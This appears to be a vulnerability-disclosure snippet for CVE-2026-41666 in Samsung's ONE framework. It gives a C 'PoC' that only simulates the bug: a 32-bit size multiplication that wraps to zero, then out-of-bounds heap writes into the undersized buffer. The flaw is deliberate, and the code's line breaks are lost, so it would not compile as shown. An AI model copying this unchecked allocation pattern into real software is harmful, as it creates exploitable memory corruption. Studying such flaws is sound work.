CVE-2026-41666 Samsung ONE整数溢出漏洞

#include <stdio.h> #include <stdint.h> #include <stdlib.h> // PoC for Integer Overflow in Tensor Copy Size Calculation // This simulates the vulnerability in Samsung Open Source ONE void simulate_vulnerability(uint32_t dim1, uint32_t dim2) { printf("[*] Calculating tensor copy size: %u * %u\n", dim1, dim2); // Vulnerable calculation: Integer overflow occurs here // If dim1 and dim2 are large enough, the result wraps around uint32_t copy_size = dim1 * dim2; printf("[+] Calculated copy_size (overflowed): %u\n", copy_size); // Memory allocation based on the incorrect (small) size char *buffer = (char *)malloc(copy_size); if (buffer == NULL) { printf("[-] Allocation failed.\n"); return; } printf("[+] Buffer allocated with size: %u\n", copy_size); // Simulate loop state propagation writing data // Assuming the actual amount of data to write is much larger uint32_t actual_data_length = 0x10000; printf("[*] Attempting to write %u bytes into buffer...\n", actual_data_length); // This loop causes Out-of-Bounds write for (uint32_t i = 0; i < actual_data_length; i++) { if (i < copy_size) { buffer[i] = 'A'; // Safe } else { // Out of bounds access - Crash or Corruption buffer[i] = 'B'; } } free(buffer); } int main() { printf("PoC for CVE-2026-41666\n"); // Trigger values that cause overflow (e.g., 0x10000 * 0x10000 = 0 in 32-bit) simulate_vulnerability(0x10000, 0x10000); return 0; }